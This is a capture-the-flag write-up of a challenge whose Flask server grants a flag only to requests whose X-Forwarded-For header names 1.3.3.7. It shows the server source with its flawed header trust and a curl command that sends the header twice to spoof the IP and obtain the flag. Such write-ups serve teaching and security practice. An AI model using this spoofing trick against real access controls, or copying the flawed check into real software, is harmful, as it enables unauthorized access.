Rating:
This challenge was a good way to highlight how interaction between several different components can go wrong.
It is a simple challenge in which the server will only give you the flag if your IP is "1.3.3.7". Or is it so?
In this challenge the server source code is provided:
```python
from flask import Flask, Response, request
import os
from typing import List
FLAG: str = os.environ.get("FLAG") or "flag{fake_flag}"
with open(__file__, "r") as f:
SOURCE: str = f.read()
app: Flask = Flask(__name__)
def text_response(body: str, status: int = 200, **kwargs) -> Response:
return Response(body, mimetype="text/plain", status=status, **kwargs)
@app.route("/source")
def send_source() -> Response:
return text_response(SOURCE)
@app.route("/")
def main_page() -> Response:
if "X-Forwarded-For" in request.headers:
# https://stackoverflow.com/q/18264304/
# Some people say first ip in list, some people say last
# I don't know who to believe
# So just believe both
ips: List[str] = request.headers["X-Forwarded-For"].split(", ")
print(ips)
if not ips:
return text_response("How is it even possible to have 0 IPs???", 400)
if ips[0] != ips[-1]:
return text_response(
"First and last IPs disagree so I'm just going to not serve this request.",
400,
)
ip: str = ips[0]
print('a', ip)
if ip != "1.3.3.7":
return text_response("I don't trust you >:(", 401)
return text_response("Hello 1337 haxx0r, here's the flag! " + FLAG)
else:
return text_response("Please run the server through a proxy.", 400)
```
So, the key piece here is the `X-Forwarded-For` header.
After reading [this blogpost](https://jetmind.github.io/2016/03/31/heroku-forwarded.html) the answer was obvious: Just send the X-Forwarded-For header twice!
Our IP/proxy IP will be "sandwiched" between the two `1.3.3.7` values and the checks will be successful:
```
$ curl -H'X-Forwarded-For: 1.3.3.7' -H'X-Forwarded-For:, 1.3.3.7' https://actf-spoofy.herokuapp.com/
Hello 1337 haxx0r, here's the flag! actf{spoofing_is_quite_spiffy}
```